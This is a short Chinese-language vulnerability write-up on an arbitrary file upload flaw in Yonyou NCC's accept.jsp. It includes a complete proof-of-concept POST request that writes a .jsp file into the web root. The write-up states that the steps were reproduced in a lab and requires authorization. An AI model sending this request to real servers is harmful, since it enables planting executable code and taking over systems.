用友ncc accept.jsp漏洞

漏洞原理

accept.jsp源码中设置了白名单和黑名单的代码,但是白名单代码被注释掉了(默认被注释)

只启用了黑名单。文件保存的函数fname又被定义为可以随便更改。

那可以上传白名单内的文件名,然后通过传参将文件保存的名字进行修改。以及修改文件位置

(具体源码不能够在平台展示出)

漏洞靶场复现

以下复现常见均在靶场上进行,请获得授权后在开展渗透

访问页面 http://ip:prot//aim/equipmap/accept.jsp

页面存在存在 则表明漏洞可能能够利用

通过POST发送数据包

POST /aim/equipmap/accept.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 370
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------16314487820932200903769468567
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

-----------------------------16314487820932200903769468567
Content-Disposition: form-data; name="upload"; filename="test.txt"
Content-Type: text/plain

win
-----------------------------16314487820932200903769468567
Content-Disposition: form-data; name="fname"

webappsnc_webtest.jsp
-----------------------------16314487820932200903769468567--

解析一下请求的意思

这里值得注意的是 因为安装环境不同,所以可能会遇到保存的路径不一致的情况,这时候需要猜测服务器的路径。(但是默认为POC中的路径)

然后根据响应包是否包含parent.afterUpload(1)来判断文件是否上传成功

上传成功访问

以上复现均在靶场上实现!网络不是法外之地!请遵循中华人民共和国网络安全法